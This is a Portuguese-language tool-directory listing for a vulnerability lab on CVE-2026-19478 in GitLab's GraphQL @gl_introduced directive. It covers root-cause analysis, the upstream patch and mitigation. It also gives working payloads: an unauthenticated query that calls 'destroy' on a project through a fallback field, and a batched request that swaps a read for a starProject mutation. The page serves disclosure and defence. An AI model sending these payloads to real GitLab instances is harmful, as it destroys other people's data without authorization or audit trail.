Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-19478 — Fornece exploits de PoC e análise de causa-raiz para duas vulnerabilidades da diretiva `@gl_introduced` do GitLab GraphQL: execução de método não autenticada e troca de documento em lote, com patch upstream e evidências ao vivo. | Kitploit
Ferramentas/GitHubGitHub/n0xdaemon/cve-2026-19478
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Segurança de APIsSegurança Web
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

Fornece exploits de PoC e análise de causa-raiz para duas vulnerabilidades da diretiva `@gl_introduced` do GitLab GraphQL: execução de método não autenticada e troca de documento em lote, com patch upstream e evidências ao vivo.

Ver Repositório
há 3 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-19478 — Vulnerabilidades do filtro de versão @gl_introduced do GitLab GraphQL

Um laboratório de reprodução para dois bugs relacionados no recurso de filtro de versão do GraphQL do GitLab (a diretiva @gl_introduced). Ambos vivem na mesma área do recurso, são corrigidos pelo mesmo patch upstream e ambos permitem que uma requisição GraphQL alcance caminhos de código que ela nunca declarou:

  • Execução de método por campo fallback — uma única consulta não autenticada e não agrupada pode invocar um método arbitrário de zero argumentos (por exemplo, destroy) no modelo por trás de qualquer tipo GraphQL, apenas nomeando um campo que não existe e marcando-o com @gl_introduced.
  • Troca de documento entre operações — em uma requisição agrupada (multiplex), o documento de consulta analisado de uma operação pode ser trocado pelo de outra, de modo que um slot que declarou uma leitura inofensiva acabe executando a mutação de um slot diferente.
Baixar ferramenta
Afetado18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
Corrigido18.11.11, 19.0.8, 19.1.6, 19.2.4
Alvo do laboratóriogitlab/gitlab-ce:19.2.2-ce.0 (última build anterior à correção)
Gatilhodiretiva @gl_introduced do GraphQL, sozinha ou dentro de um lote

Estrutura do repositório

root@kitploit:~
docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

Tudo sob src/ é código-fonte upstream verbatim, nunca reimplementado — o loader sobrepõe src/vuln ou src/patched sobre src/common.


1. Causa raiz

1a. Campo fallback → resolução de método padrão do graphql-ruby

Gitlab::Graphql::VersionFilter::FutureFieldFallback permite que uma consulta faça referência a um campo que ainda não existe em um tipo sem que a requisição falhe — pensado para implantações contínuas (rolling deploys), onde o schema de um nó antigo ainda não tem um campo que um nó mais novo já entrega. Sua sobrescrita de get_field verifica se o campo solicitado está ausente e se a requisição está sinalizada com contain_future_fields; se estiver, devolve um campo sintético em vez de lançar erro:

root@kitploit:~
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

O problema: este GraphQL::Schema::Field é construído sem método resolver, sem classe resolver e sem bloco. Então a resolução de campo padrão do próprio graphql-ruby é aplicada (gem graphql 2.6.3, lib/graphql/schema/field.rb):

root@kitploit:~
inner_object.public_send(@method_sym)

@method_sym é o nome do campo, em snake_case — ou seja, exatamente a string que o atacante colocou na consulta. Se o objeto por trás do tipo GraphQL (o modelo ActiveRecord) tiver um método público real, de zero argumentos, com esse nome, o graphql-ruby o chama e retorna seu resultado (coagido ao tipo). fallback_value: nil só se aplica quando o método realmente não existe — e não faz nada para impedir que um método real seja executado.

Então: basta consultar qualquer tipo por um campo com o nome de um método destrutivo real — por exemplo, destroy —, marcá-lo com @gl_introduced para que sobreviva até a execução, e o método será executado.

1b. Troca de documento entre operações

IntroducedTracer implementa o restante do recurso de filtro de versão em dois hooks de trace do graphql-ruby — parse (uma vez por operação) e execute_query (uma vez por operação). Na build vulnerável, ele guarda seu estado por operação em variáveis de instância simples no objeto de trace:

root@kitploit:~
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

O problema: o graphql-ruby compartilha UMA única instância de trace entre todas as operações de uma requisição multiplexada e analisa todas elas antes de executar qualquer uma. Então, em um lote de duas operações:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 carrega um campo futuro @gl_introduced)

Após a análise, apenas o estado da última operação sobrevive. Então a execução roda:

  1. execute_query(op1) → a flag é true, então o documento de op1 é sobrescrito com op2_doc e re-preparado → o slot de op1 executa a operação de op2.

op1 declarou uma leitura; ela executa a escrita de op2.

A correção

patch-19.2.2-to-19.2.4.diff corrige ambos:

root@kitploit:~
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. Fluxo do exploit

2a. Campo fallback — requisição única, sem autenticação, sem lote

root@kitploit:~
query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

Nenhum cabeçalho Authorization. Uma operação, sem lote. destroy não é um campo real em Project — ele não existe no schema — mas a diretiva faz o FutureFieldFilter removê-lo antes da validação estática e arma contain_future_fields para a execução, onde get_field devolve um campo sem resolver chamado destroy e o graphql-ruby chama project.public_send(:destroy).

Verificado ao vivo (evidence/live_vuln_fallback_field.txt, reproduzido três vezes contra três projetos descartáveis separados): enviado contra um projeto público, a resposta foi {"data":{"project":{"id":"...","destroy":true}}}. Uma verificação REST autenticada de acompanhamento (GET /api/v4/projects/:id) retornou 404 — o projeto realmente tinha sido removido. O log da requisição dessa chamada mostra 9 gravações síncronas no banco e zero novas linhas de AuditEvent: a chamada ignora completamente o Projects::DestroyService (e com ele a trilha de auditoria, webhooks e notificações) — é uma cascata crua de ActiveRecord#destroy invocada diretamente por meio da resolução de campo padrão do GraphQL.

2b. Troca de documento entre operações — exige um lote

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant C as GraphqlController
    participant T as IntroducedTracer (one shared instance)
    participant S as StarProject mutation

    A->>C: POST /api/graphql  [ {query: op1}, {query: op2} ]
    Note over A: op1 = query { currentUser { username } }   (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
    C->>T: parse(op1)
    Note over T: @original = op1_doc, future=false
    C->>T: parse(op2)
    Note over T: @original = op2_doc, future=TRUE  (overwrites op1 state)
    C->>T: execute_query(op1)
    T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
    T->>S: run starProject  ← smuggled into the read slot
    S-->>A: slot 1 returns { starProject: { count } } #59; star state changed

Payload da Op2 — a diretiva @gl_introduced só precisa estar em um campo real para que, no momento da análise, o FutureFieldFilter alterne contain_future_fields e arme a troca:

root@kitploit:~
mutation {
  starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
    count @gl_introduced(version: "99.0.0")
  }
}

Verificado ao vivo (evidence/live_vuln.txt): o slot 1, que declarou query { currentUser { username } }, retorna {"data":{"starProject":{"count":"0"}}} e o contador de estrelas do projeto passa de 1 → 0.


3. Executando os PoCs

PoC #1 — exploit HTTP ao vivo, execução de método por campo fallback

root@kitploit:~
docker compose up -d          # first boot runs migrations; wait for healthy (~10 min)

GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
  bash harness/live_test_fallback.sh

O script cria um projeto público descartável por meio da API REST autenticada (apenas configuração), envia uma consulta GraphQL não autenticada nomeando um campo destroy marcado com @gl_introduced e depois verifica novamente o projeto via REST autenticado. Ele declara VULNERABLE se o projeto tiver sumido.

PoC #2 — exploit HTTP ao vivo, troca de documento entre operações

root@kitploit:~
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
  bash harness/live_test.sh

O script lê o estado inicial das estrelas, envia o lote de duas operações e declara VULNERABLE se o slot 1, que declarou leitura, retornar um payload de starProject (e/ou se o contador de estrelas mudar).

PoC #3 — causa raiz standalone, troca de documento (sem precisar de GitLab)

Isola Gitlab::Graphql::VersionFilter em um pequeno aplicativo graphql-ruby para que a troca fique visível sem nenhum ruído do GitLab. Carrega o código-fonte upstream real.

root@kitploit:~
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln      # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched   # -> SAFE

4. Impacto

Ambos os vetores foram confirmados ao vivo contra gitlab/gitlab-ce:19.2.2-ce.0. Eles têm diferentes superfícies de exposição de autorização porque atingem camadas diferentes da pilha do GitLab.

Campo fallback (1a): confirmado não autenticado e destrutivo

Sem token, sem lote, uma única consulta. A resposta retorna o resultado do método diretamente ("destroy": true), e o registro subjacente é de fato destruído — confirmado via REST autenticado (404) e por evidências no lado do servidor (zero linhas de AuditEvent, 9 gravações síncronas em uma única requisição), o que significa que ele ignora completamente o serviço normal de exclusão do GitLab. Reproduzido três vezes de forma independente, contra três projetos descartáveis separados. Qualquer tipo GraphQL cujo objeto subjacente exponha um método destrutivo real de zero argumentos é um candidato.

Troca entre operações (1b): confirmado autenticado; bloqueado quando anônimo

Com qualquer token que tenha escopo api, uma operação que declarou leitura executa uma escrita que nunca solicitou (contador de estrelas 1 → 0, dirigido por um slot tipado como query). Enviada sem token, a troca ainda dispara — o slot de leitura de fato alcança e resolve starProject — mas toda mutação do GitLab herda Mutations::BaseMutation, cujo portão self.authorized? é executado no momento da execução:

root@kitploit:~
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)

Para uma requisição anônima, current_user é nil, e GlobalPolicy faz rule { anonymous }.policy { prevent :execute_graphql_mutation }. Uma varredura de 10 arranjos de lote (ordem, diretiva em campo / subcampo / fragmento inline, lotes de 2 e 3 operações) sem autenticação: o slot sequestrado esbarra no portão todas as vezes e o contador de estrelas nunca muda.

Esse portão é específico de mutações — não tem efeito sobre 1a, que nunca toca Mutations::BaseMutation; o campo fallback resolve diretamente contra o modelo como um campo comum de tipo consulta, sem nenhuma verificação de autorização no caminho.

Por que o PoC standalone (#3) parece não autenticado para 1b

src/common/demo_app.rb não tem nenhuma camada de autorização — sua mutação apenas escreve. Portanto, o PoC #3 demonstra o mecanismo da troca (um slot de leitura executando uma escrita) em uma sandbox sem autenticação. O GitLab real aplica o portão execute_graphql_mutation que a demo omite — especificamente para 1b. Nesta build padrão, uma escrita orientada por mutação sem credenciais não é alcançável apenas via 1b; é alcançável via 1a, que não precisa de mutação alguma.


5. Mitigação

Atualize para 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 ou posterior. A correção (veja o diff) faz duas coisas: future_field_fallback.rb dá ao campo fallback um resolver explícito (Resolvers::NilResolver, que sempre retorna nil) em vez de depender do despacho de método padrão do graphql-ruby, fechando 1a; introduced_tracer.rb limita o estado por operação do tracer ao documento de cada operação em vez de uma variável de instância compartilhada, fechando 1b.